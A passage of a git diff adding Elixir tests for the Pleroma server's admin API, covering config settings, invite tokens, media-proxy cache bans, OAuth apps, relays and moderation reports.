"Pleroma.Web.Endpoint.NotReal", value: "value4"}, + %{group: ":pleroma", key: "Pleroma.Captcha.NotReal", value: "value5"}, + %{group: ":not_real", key: ":anything", value: "value6"} + ] + }) + + assert Application.get_env(:pleroma, :key1) == "value1" + assert Application.get_env(:pleroma, :key2) == "value2" + assert Application.get_env(:pleroma, :key3) == nil + assert Application.get_env(:pleroma, Pleroma.Web.Endpoint.NotReal) == nil + assert Application.get_env(:pleroma, Pleroma.Captcha.NotReal) == "value5" + assert Application.get_env(:not_real, :anything) == "value6" + end + + test "args for Pleroma.Upload.Filter.Mogrify with custom tuples", %{conn: conn} do + clear_config(Pleroma.Upload.Filter.Mogrify) + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: "Pleroma.Upload.Filter.Mogrify", + value: [ + %{"tuple" => [":args", ["auto-orient", "strip"]]} + ] + } + ] + }) + |> json_response_and_validate_schema(200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Upload.Filter.Mogrify", + "value" => [ + %{"tuple" => [":args", ["auto-orient", "strip"]]} + ], + "db" => [":args"] + } + ], + "need_reboot" => false + } + + assert Config.get(Pleroma.Upload.Filter.Mogrify) == [args: ["auto-orient", "strip"]] + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{ + configs: [ + %{ + group: ":pleroma", + key: "Pleroma.Upload.Filter.Mogrify", + value: [ + %{ + "tuple" => [ + ":args", + [ + "auto-orient", + "strip", + "{\"implode\", \"1\"}", + "{\"resize\", \"3840x1080>\"}" + ] + ] + } + ] + } + ] + }) + |> json_response(200) == %{ + "configs" => [ + %{ + "group" => ":pleroma", + "key" => "Pleroma.Upload.Filter.Mogrify", + "value" => [ + %{ + "tuple" => [ + ":args", + [ + "auto-orient", + "strip", + "{\"implode\", \"1\"}", + "{\"resize\", \"3840x1080>\"}" + ] + ] + } + ], + "db" => [":args"] + } + ], + "need_reboot" => false + } + + assert Config.get(Pleroma.Upload.Filter.Mogrify) == [ + args: ["auto-orient", "strip", {"implode", "1"}, {"resize", "3840x1080>"}] + ] + end + + test "enables the welcome messages", %{conn: conn} do + clear_config([:welcome]) + + params = %{ + "group" => ":pleroma", + "key" => ":welcome", + "value" => [ + %{ + "tuple" => [ + ":direct_message", + [ + %{"tuple" => [":enabled", true]}, + %{"tuple" => [":message", "Welcome to Pleroma!"]}, + %{"tuple" => [":sender_nickname", "pleroma"]} + ] + ] + }, + %{ + "tuple" => [ + ":chat_message", + [ + %{"tuple" => [":enabled", true]}, + %{"tuple" => [":message", "Welcome to Pleroma!"]}, + %{"tuple" => [":sender_nickname", "pleroma"]} + ] + ] + }, + %{ + "tuple" => [ + ":email", + [ + %{"tuple" => [":enabled", true]}, + %{"tuple" => [":sender", %{"tuple" => ["pleroma@dev.dev", "Pleroma"]}]}, + %{"tuple" => [":subject", "Welcome to <%= instance_name %>!"]}, + %{"tuple" => [":html", "Welcome to <%= instance_name %>!"]}, + %{"tuple" => [":text", "Welcome to <%= instance_name %>!"]} + ] + ] + } + ] + } + + refute Pleroma.User.WelcomeEmail.enabled?() + refute Pleroma.User.WelcomeMessage.enabled?() + refute Pleroma.User.WelcomeChatMessage.enabled?() + + res = + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/config", %{"configs" => [params]}) + |> json_response_and_validate_schema(200) + + assert Pleroma.User.WelcomeEmail.enabled?() + assert Pleroma.User.WelcomeMessage.enabled?() + assert Pleroma.User.WelcomeChatMessage.enabled?() + + assert res == %{ + "configs" => [ + %{ + "db" => [":direct_message", ":chat_message", ":email"], + "group" => ":pleroma", + "key" => ":welcome", + "value" => params["value"] + } + ], + "need_reboot" => false + } + end + end + + describe "GET /api/pleroma/admin/config/descriptions" do + test "structure", %{conn: conn} do + admin = insert(:user, is_admin: true) + + conn = + assign(conn, :user, admin) + |> get("/api/pleroma/admin/config/descriptions") + + assert [child | _others] = json_response_and_validate_schema(conn, 200) + + assert child["children"] + assert child["key"] + assert String.starts_with?(child["group"], ":") + assert child["description"] + end + + test "filters by database configuration whitelist", %{conn: conn} do + clear_config(:database_config_whitelist, [ + {:pleroma, :instance}, + {:pleroma, :activitypub}, + {:pleroma, Pleroma.Upload}, + {:esshd} + ]) + + admin = insert(:user, is_admin: true) + + conn = + assign(conn, :user, admin) + |> get("/api/pleroma/admin/config/descriptions") + + children = json_response_and_validate_schema(conn, 200) + + assert length(children) == 4 + + assert Enum.count(children, fn c -> c["group"] == ":pleroma" end) == 3 + + instance = Enum.find(children, fn c -> c["key"] == ":instance" end) + assert instance["children"] + + activitypub = Enum.find(children, fn c -> c["key"] == ":activitypub" end) + assert activitypub["children"] + + web_endpoint = Enum.find(children, fn c -> c["key"] == "Pleroma.Upload" end) + assert web_endpoint["children"] + + esshd = Enum.find(children, fn c -> c["group"] == ":esshd" end) + assert esshd["children"] + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/invite_controller_test.exs b/test/pleroma/web/admin_api/controllers/invite_controller_test.exs new file mode 100644 index 000000000..ab186c5e7 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/invite_controller_test.exs @@ -0,0 +1,281 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InviteControllerTest do + use Pleroma.Web.ConnCase, async: true + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Repo + alias Pleroma.UserInviteToken + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "POST /api/pleroma/admin/users/email_invite, with valid config" do + setup do: clear_config([:instance, :registrations_open], false) + setup do: clear_config([:instance, :invites_enabled], true) + + test "sends invitation and returns 204", %{admin: admin, conn: conn} do + recipient_email = "foo@bar.com" + recipient_name = "J. D." + + conn = + conn + |> put_req_header("content-type", "application/json;charset=utf-8") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: recipient_email, + name: recipient_name + }) + + assert json_response_and_validate_schema(conn, :no_content) + + token_record = List.last(Repo.all(Pleroma.UserInviteToken)) + assert token_record + refute token_record.used + + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + email = + Pleroma.Emails.UserEmail.user_invitation_email( + admin, + token_record, + recipient_email, + recipient_name + ) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: {recipient_name, recipient_email}, + html_body: email.html_body + ) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json;charset=utf-8") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: "foo@bar.com", + name: "JD" + }) + + assert json_response(conn, :forbidden) + end + + test "email with +", %{conn: conn, admin: admin} do + recipient_email = "foo+bar@baz.com" + + conn + |> put_req_header("content-type", "application/json;charset=utf-8") + |> post("/api/pleroma/admin/users/email_invite", %{email: recipient_email}) + |> json_response_and_validate_schema(:no_content) + + token_record = + Pleroma.UserInviteToken + |> Repo.all() + |> List.last() + + assert token_record + refute token_record.used + + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + email = + Pleroma.Emails.UserEmail.user_invitation_email( + admin, + token_record, + recipient_email + ) + + Swoosh.TestAssertions.assert_email_sent( + from: {instance_name, notify_email}, + to: recipient_email, + html_body: email.html_body + ) + end + end + + describe "POST /api/pleroma/admin/users/email_invite, with invalid config" do + setup do: clear_config([:instance, :registrations_open]) + setup do: clear_config([:instance, :invites_enabled]) + + test "it returns 500 if `invites_enabled` is not enabled", %{conn: conn} do + Config.put([:instance, :registrations_open], false) + Config.put([:instance, :invites_enabled], false) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: "foo@bar.com", + name: "JD" + }) + + assert json_response_and_validate_schema(conn, :bad_request) == + %{ + "error" => + "To send invites you need to set the `invites_enabled` option to true." + } + end + + test "it returns 500 if `registrations_open` is enabled", %{conn: conn} do + Config.put([:instance, :registrations_open], true) + Config.put([:instance, :invites_enabled], true) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/email_invite", %{ + email: "foo@bar.com", + name: "JD" + }) + + assert json_response_and_validate_schema(conn, :bad_request) == + %{ + "error" => + "To send invites you need to set the `registrations_open` option to false." + } + end + end + + describe "POST /api/pleroma/admin/users/invite_token" do + test "without options", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token") + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + refute invite.used + refute invite.expires_at + refute invite.max_use + assert invite.invite_type == "one_time" + end + + test "with expires_at", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token", %{ + "expires_at" => Date.to_string(Date.utc_today()) + }) + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + + refute invite.used + assert invite.expires_at == Date.utc_today() + refute invite.max_use + assert invite.invite_type == "date_limited" + end + + test "with max_use", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token", %{"max_use" => 150}) + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + refute invite.used + refute invite.expires_at + assert invite.max_use == 150 + assert invite.invite_type == "reusable" + end + + test "with max use and expires_at", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/invite_token", %{ + "max_use" => 150, + "expires_at" => Date.to_string(Date.utc_today()) + }) + + invite_json = json_response_and_validate_schema(conn, 200) + invite = UserInviteToken.find_by_token!(invite_json["token"]) + refute invite.used + assert invite.expires_at == Date.utc_today() + assert invite.max_use == 150 + assert invite.invite_type == "reusable_date_limited" + end + end + + describe "GET /api/pleroma/admin/users/invites" do + test "no invites", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/users/invites") + + assert json_response_and_validate_schema(conn, 200) == %{"invites" => []} + end + + test "with invite", %{conn: conn} do + {:ok, invite} = UserInviteToken.create_invite() + + conn = get(conn, "/api/pleroma/admin/users/invites") + + assert json_response_and_validate_schema(conn, 200) == %{ + "invites" => [ + %{ + "expires_at" => nil, + "id" => invite.id, + "invite_type" => "one_time", + "max_use" => nil, + "token" => invite.token, + "used" => false, + "uses" => 0 + } + ] + } + end + end + + describe "POST /api/pleroma/admin/users/revoke_invite" do + test "with token", %{conn: conn} do + {:ok, invite} = UserInviteToken.create_invite() + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => invite.token}) + + assert json_response_and_validate_schema(conn, 200) == %{ + "expires_at" => nil, + "id" => invite.id, + "invite_type" => "one_time", + "max_use" => nil, + "token" => invite.token, + "used" => true, + "uses" => 0 + } + end + + test "with invalid token", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/users/revoke_invite", %{"token" => "foo"}) + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs b/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs new file mode 100644 index 000000000..f243d1fb2 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/media_proxy_cache_controller_test.exs @@ -0,0 +1,167 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.MediaProxyCacheControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import Mock + + alias Pleroma.Web.MediaProxy + + setup do: clear_config([:media_proxy]) + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Config.put([:media_proxy, :enabled], true) + Config.put([:media_proxy, :invalidation, :enabled], true) + Config.put([:media_proxy, :invalidation, :provider], MediaProxy.Invalidation.Script) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/media_proxy_caches" do + test "shows banned MediaProxy URLs", %{conn: conn} do + MediaProxy.put_in_banned_urls([ + "http://localhost:4001/media/a688346.jpg", + "http://localhost:4001/media/fb1f4d.jpg" + ]) + + MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2") + |> json_response_and_validate_schema(200) + + assert response["page_size"] == 2 + assert response["count"] == 5 + + assert response["urls"] == [ + "http://localhost:4001/media/fb1f4d.jpg", + "http://localhost:4001/media/a688346.jpg" + ] + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=2") + |> json_response_and_validate_schema(200) + + assert response["urls"] == [ + "http://localhost:4001/media/gb1f44.jpg", + "http://localhost:4001/media/tb13f47.jpg" + ] + + assert response["page_size"] == 2 + assert response["count"] == 5 + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&page=3") + |> json_response_and_validate_schema(200) + + assert response["urls"] == ["http://localhost:4001/media/wb1f46.jpg"] + end + + test "search banned MediaProxy URLs", %{conn: conn} do + MediaProxy.put_in_banned_urls([ + "http://localhost:4001/media/a688346.jpg", + "http://localhost:4001/media/ff44b1f4d.jpg" + ]) + + MediaProxy.put_in_banned_urls("http://localhost:4001/media/gb1f44.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/tb13f47.jpg") + MediaProxy.put_in_banned_urls("http://localhost:4001/media/wb1f46.jpg") + + response = + conn + |> get("/api/pleroma/admin/media_proxy_caches?page_size=2&query=F44") + |> json_response_and_validate_schema(200) + + assert response["urls"] == [ + "http://localhost:4001/media/gb1f44.jpg", + "http://localhost:4001/media/ff44b1f4d.jpg" + ] + + assert response["page_size"] == 2 + assert response["count"] == 2 + end + end + + describe "POST /api/pleroma/admin/media_proxy_caches/delete" do + test "deleted MediaProxy URLs from banned", %{conn: conn} do + MediaProxy.put_in_banned_urls([ + "http://localhost:4001/media/a688346.jpg", + "http://localhost:4001/media/fb1f4d.jpg" + ]) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/media_proxy_caches/delete", %{ + urls: ["http://localhost:4001/media/a688346.jpg"] + }) + |> json_response_and_validate_schema(200) + + refute MediaProxy.in_banned_urls("http://localhost:4001/media/a688346.jpg") + assert MediaProxy.in_banned_urls("http://localhost:4001/media/fb1f4d.jpg") + end + end + + describe "POST /api/pleroma/admin/media_proxy_caches/purge" do + test "perform invalidates cache of MediaProxy", %{conn: conn} do + urls = [ + "http://example.com/media/a688346.jpg", + "http://example.com/media/fb1f4d.jpg" + ] + + with_mocks [ + {MediaProxy.Invalidation.Script, [], + [ + purge: fn _, _ -> {"ok", 0} end + ]} + ] do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/media_proxy_caches/purge", %{urls: urls, ban: false}) + |> json_response_and_validate_schema(200) + + refute MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") + refute MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") + end + end + + test "perform invalidates cache of MediaProxy and adds url to banned", %{conn: conn} do + urls = [ + "http://example.com/media/a688346.jpg", + "http://example.com/media/fb1f4d.jpg" + ] + + with_mocks [{MediaProxy.Invalidation.Script, [], [purge: fn _, _ -> {"ok", 0} end]}] do + conn + |> put_req_header("content-type", "application/json") + |> post( + "/api/pleroma/admin/media_proxy_caches/purge", + %{urls: urls, ban: true} + ) + |> json_response_and_validate_schema(200) + + assert MediaProxy.in_banned_urls("http://example.com/media/a688346.jpg") + assert MediaProxy.in_banned_urls("http://example.com/media/fb1f4d.jpg") + end + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs b/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs new file mode 100644 index 000000000..ed7c4172c --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/oauth_app_controller_test.exs @@ -0,0 +1,220 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.OAuthAppControllerTest do + use Pleroma.Web.ConnCase, async: true + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Web + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "POST /api/pleroma/admin/oauth_app" do + test "errors", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{}) + |> json_response_and_validate_schema(400) + + assert %{ + "error" => "Missing field: name. Missing field: redirect_uris." + } = response + end + + test "success", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => false + } = response + end + + test "with trusted", %{conn: conn} do + base_url = Web.base_url() + app_name = "Trusted app" + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/oauth_app", %{ + name: app_name, + redirect_uris: base_url, + trusted: true + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "name" => ^app_name, + "redirect_uri" => ^base_url, + "trusted" => true + } = response + end + end + + describe "GET /api/pleroma/admin/oauth_app" do + setup do + app = insert(:oauth_app) + {:ok, app: app} + end + + test "list", %{conn: conn} do + response = + conn + |> get("/api/pleroma/admin/oauth_app") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => count, "page_size" => _} = response + + assert length(apps) == count + end + + test "with page size", %{conn: conn} do + insert(:oauth_app) + page_size = 1 + + response = + conn + |> get("/api/pleroma/admin/oauth_app?page_size=#{page_size}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => apps, "count" => _, "page_size" => ^page_size} = response + + assert length(apps) == page_size + end + + test "search by client name", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?name=#{app.client_name}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "search by client id", %{conn: conn, app: app} do + response = + conn + |> get("/api/pleroma/admin/oauth_app?client_id=#{app.client_id}") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + + test "only trusted", %{conn: conn} do + app = insert(:oauth_app, trusted: true) + + response = + conn + |> get("/api/pleroma/admin/oauth_app?trusted=true") + |> json_response_and_validate_schema(200) + + assert %{"apps" => [returned], "count" => _, "page_size" => _} = response + + assert returned["client_id"] == app.client_id + assert returned["name"] == app.client_name + end + end + + describe "DELETE /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + response = + conn + |> delete("/api/pleroma/admin/oauth_app/" <> to_string(app.id)) + |> json_response_and_validate_schema(:no_content) + + assert response == "" + end + + test "with non existance id", %{conn: conn} do + response = + conn + |> delete("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end + + describe "PATCH /api/pleroma/admin/oauth_app/:id" do + test "with id", %{conn: conn} do + app = insert(:oauth_app) + + name = "another name" + url = "https://example.com" + scopes = ["admin"] + id = app.id + website = "http://website.com" + + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/#{id}", %{ + name: name, + trusted: true, + redirect_uris: url, + scopes: scopes, + website: website + }) + |> json_response_and_validate_schema(200) + + assert %{ + "client_id" => _, + "client_secret" => _, + "id" => ^id, + "name" => ^name, + "redirect_uri" => ^url, + "trusted" => true, + "website" => ^website + } = response + end + + test "without id", %{conn: conn} do + response = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/oauth_app/0") + |> json_response_and_validate_schema(:bad_request) + + assert response == "" + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/relay_controller_test.exs b/test/pleroma/web/admin_api/controllers/relay_controller_test.exs new file mode 100644 index 000000000..adadf2b5c --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/relay_controller_test.exs @@ -0,0 +1,99 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.RelayControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.User + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "relays" do + test "POST /relay", %{conn: conn, admin: admin} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/relay", %{ + relay_url: "http://mastodon.example.org/users/admin" + }) + + assert json_response_and_validate_schema(conn, 200) == %{ + "actor" => "http://mastodon.example.org/users/admin", + "followed_back" => false + } + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" + end + + test "GET /relay", %{conn: conn} do + relay_user = Pleroma.Web.ActivityPub.Relay.get_actor() + + ["http://mastodon.example.org/users/admin", "https://mstdn.io/users/mayuutann"] + |> Enum.each(fn ap_id -> + {:ok, user} = User.get_or_fetch_by_ap_id(ap_id) + User.follow(relay_user, user) + end) + + conn = get(conn, "/api/pleroma/admin/relay") + + assert json_response_and_validate_schema(conn, 200)["relays"] == [ + %{ + "actor" => "http://mastodon.example.org/users/admin", + "followed_back" => true + }, + %{"actor" => "https://mstdn.io/users/mayuutann", "followed_back" => true} + ] + end + + test "DELETE /relay", %{conn: conn, admin: admin} do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/relay", %{ + relay_url: "http://mastodon.example.org/users/admin" + }) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/relay", %{ + relay_url: "http://mastodon.example.org/users/admin" + }) + + assert json_response_and_validate_schema(conn, 200) == + "http://mastodon.example.org/users/admin" + + [log_entry_one, log_entry_two] = Repo.all(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry_one) == + "@#{admin.nickname} followed relay: http://mastodon.example.org/users/admin" + + assert ModerationLog.get_log_entry_message(log_entry_two) == + "@#{admin.nickname} unfollowed relay: http://mastodon.example.org/users/admin" + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/report_controller_test.exs b/test/pleroma/web/admin_api/controllers/report_controller_test.exs new file mode 100644 index 000000000..57946e6bb --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/report_controller_test.exs @@ -0,0 +1,372 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ReportControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.ReportNote + alias Pleroma.Web.CommonAPI + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/reports/:id" do + test "returns report by its id", %{conn: conn} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + response = + conn + |> get("/api/pleroma/admin/reports/#{report_id}") + |> json_response_and_validate_schema(:ok) + + assert response["id"] == report_id + end + + test "returns 404 when report id is invalid", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/reports/test") + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end + + describe "PATCH /api/pleroma/admin/reports" do + setup do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + {:ok, %{id: second_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel very offended", + status_ids: [activity.id] + }) + + %{ + id: report_id, + second_report_id: second_report_id + } + end + + test "requires admin:write:reports scope", %{conn: conn, id: id, admin: admin} do + read_token = insert(:oauth_token, user: admin, scopes: ["admin:read"]) + write_token = insert(:oauth_token, user: admin, scopes: ["admin:write:reports"]) + + response = + conn + |> assign(:token, read_token) + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [%{"state" => "resolved", "id" => id}] + }) + |> json_response_and_validate_schema(403) + + assert response == %{ + "error" => "Insufficient permissions: admin:write:reports." + } + + conn + |> assign(:token, write_token) + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [%{"state" => "resolved", "id" => id}] + }) + |> json_response_and_validate_schema(:no_content) + end + + test "mark report as resolved", %{conn: conn, id: id, admin: admin} do + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "resolved", "id" => id} + ] + }) + |> json_response_and_validate_schema(:no_content) + + activity = Activity.get_by_id(id) + assert activity.data["state"] == "resolved" + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated report ##{id} with 'resolved' state" + end + + test "closes report", %{conn: conn, id: id, admin: admin} do + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "closed", "id" => id} + ] + }) + |> json_response_and_validate_schema(:no_content) + + activity = Activity.get_by_id(id) + assert activity.data["state"] == "closed" + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated report ##{id} with 'closed' state" + end + + test "returns 400 when state is unknown", %{conn: conn, id: id} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "test", "id" => id} + ] + }) + + assert "Unsupported state" = + hd(json_response_and_validate_schema(conn, :bad_request))["error"] + end + + test "returns 404 when report is not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "closed", "id" => "test"} + ] + }) + + assert hd(json_response_and_validate_schema(conn, :bad_request))["error"] == "not_found" + end + + test "updates state of multiple reports", %{ + conn: conn, + id: id, + admin: admin, + second_report_id: second_report_id + } do + conn + |> put_req_header("content-type", "application/json") + |> patch("/api/pleroma/admin/reports", %{ + "reports" => [ + %{"state" => "resolved", "id" => id}, + %{"state" => "closed", "id" => second_report_id} + ] + }) + |> json_response_and_validate_schema(:no_content) + + activity = Activity.get_by_id(id) + second_activity = Activity.get_by_id(second_report_id) + assert activity.data["state"] == "resolved" + assert second_activity.data["state"] == "closed" + + [first_log_entry, second_log_entry] = Repo.all(ModerationLog) + + assert ModerationLog.get_log_entry_message(first_log_entry) == + "@#{admin.nickname} updated report ##{id} with 'resolved' state" + + assert ModerationLog.get_log_entry_message(second_log_entry) == + "@#{admin.nickname} updated report ##{second_report_id} with 'closed' state" + end + end + + describe "GET /api/pleroma/admin/reports" do + test "returns empty response when no reports created", %{conn: conn} do + response = + conn + |> get(report_path(conn, :index)) + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response["reports"]) + assert response["total"] == 0 + end + + test "returns reports", %{conn: conn} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + response = + conn + |> get(report_path(conn, :index)) + |> json_response_and_validate_schema(:ok) + + [report] = response["reports"] + + assert length(response["reports"]) == 1 + assert report["id"] == report_id + + assert response["total"] == 1 + end + + test "returns reports with specified state", %{conn: conn} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: first_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: 